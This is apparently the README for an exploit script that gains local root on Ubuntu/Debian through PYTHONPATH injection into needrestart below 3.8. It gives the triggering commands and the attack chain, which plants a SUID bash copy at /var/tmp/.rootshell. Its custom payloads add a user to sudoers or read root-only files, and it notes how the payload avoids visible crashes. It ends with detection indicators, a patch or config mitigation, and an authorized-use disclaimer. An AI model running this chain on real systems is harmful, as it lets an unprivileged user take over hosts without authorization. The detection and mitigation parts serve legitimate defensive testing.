
needrestart < 3.8 Local Privilege Escalation via PYTHONPATH injection
Local privilege escalation exploit targeting needrestart < 3.8 on Ubuntu/Debian systems via PYTHONPATH injection.
needrestart is a utility commonly installed on Ubuntu/Debian servers that checks which services need restarting after library upgrades. It runs as root and is typically triggered automatically after apt operations or invoked directly via sudo.
When checking Python processes, needrestart re-invokes the Python interpreter while inheriting the process's full environment from /proc/<pid>/environ — including PYTHONPATH. An unprivileged local user can exploit this by:
PYTHONPATH to a directory containing a malicious importlib packageimportlib/__init__.py as root| Package | Vulnerable | Fixed |
|---|---|---|
| needrestart | < 3.8 | >= 3.8 |
Confirmed on:
needrestart 3.5-5ubuntu2.4needrestart 3.6-7ubuntu4chmod +x exploit.sh
./exploit.sh
Then trigger needrestart from another terminal:
# If you have direct sudo access to needrestart:
sudo /usr/sbin/needrestart
# Or trigger it via apt (needrestart runs as a post-apt hook):
sudo apt update && sudo apt install --reinstall coreutils
Once needrestart triggers, the exploit creates a SUID shell at /var/tmp/.rootshell and drops you into a root shell automatically.
If the auto-exec doesn't work, grab the shell manually:
/var/tmp/.rootshell -p
Usage: ./exploit.sh [OPTIONS]
Options:
-c <command> Custom shell command to run as root (default: copy suid shell)
-w <seconds> Max wait time in seconds (default: 300)
-t Trigger mode: attempt to trigger needrestart via apt
-n No cleanup: keep payload directory after exploitation
-h Show this help message
# Default — creates a SUID /bin/bash copy at /var/tmp/.rootshell
./exploit.sh
# Auto-trigger needrestart via apt (requires sudo apt access)
./exploit.sh -t
# Custom payload: add current user to sudoers
./exploit.sh -c 'usermod -aG sudo targetuser'
# Custom payload: read a restricted file
./exploit.sh -c 'cat /root/flag.txt > /tmp/flag.txt && chmod 644 /tmp/flag.txt'
# Extended wait (10 minutes)
./exploit.sh -w 600
┌───────────────────────────────────────────────────────────────┐
│ 1. Creates /tmp/.nr_XXXX/importlib/__init__.py with payload │
│ that runs os.system() to copy /bin/bash as SUID binary │
├───────────────────────────────────────────────────────────────┤
│ 2. Spawns a long-running Python process with │
│ PYTHONPATH=/tmp/.nr_XXXX exported in its environment │
├───────────────────────────────────────────────────────────────┤
│ 3. needrestart runs (via sudo or apt hook), scans │
│ /proc/*/environ, finds the Python process │
├───────────────────────────────────────────────────────────────┤
│ 4. needrestart re-invokes python3 AS ROOT inheriting the │
│ attacker's PYTHONPATH → loads malicious importlib │
├───────────────────────────────────────────────────────────────┤
│ 5. Payload executes as root: cp /bin/bash + chmod 4755 │
│ → attacker runs /var/tmp/.rootshell -p → root shell │
└───────────────────────────────────────────────────────────────┘
/var/tmp/ rather than /tmp/ because /tmp is commonly mounted with nosuid, which silently strips the SUID bit.importlib/__init__.py restores the real importlib after payload execution by cleaning sys.path and sys.modules, so needrestart doesn't crash visibly..py file (not a -c one-liner) for better compatibility with needrestart's interpreter scanning.Indicators that this exploit has been used:
/var/tmp/ or /tmp/PYTHONPATH values pointing to temp directories/tmp/.nr_* containing an importlib/ subdirectory# Update needrestart to the patched version
sudo apt update && sudo apt install needrestart
# Or disable interpreter scanning entirely
echo "\$nrconf{interpscan} = 0;" | sudo tee /etc/needrestart/conf.d/no-interp.conf
This tool is provided for authorized security testing and educational purposes only. Use it only on systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.
MIT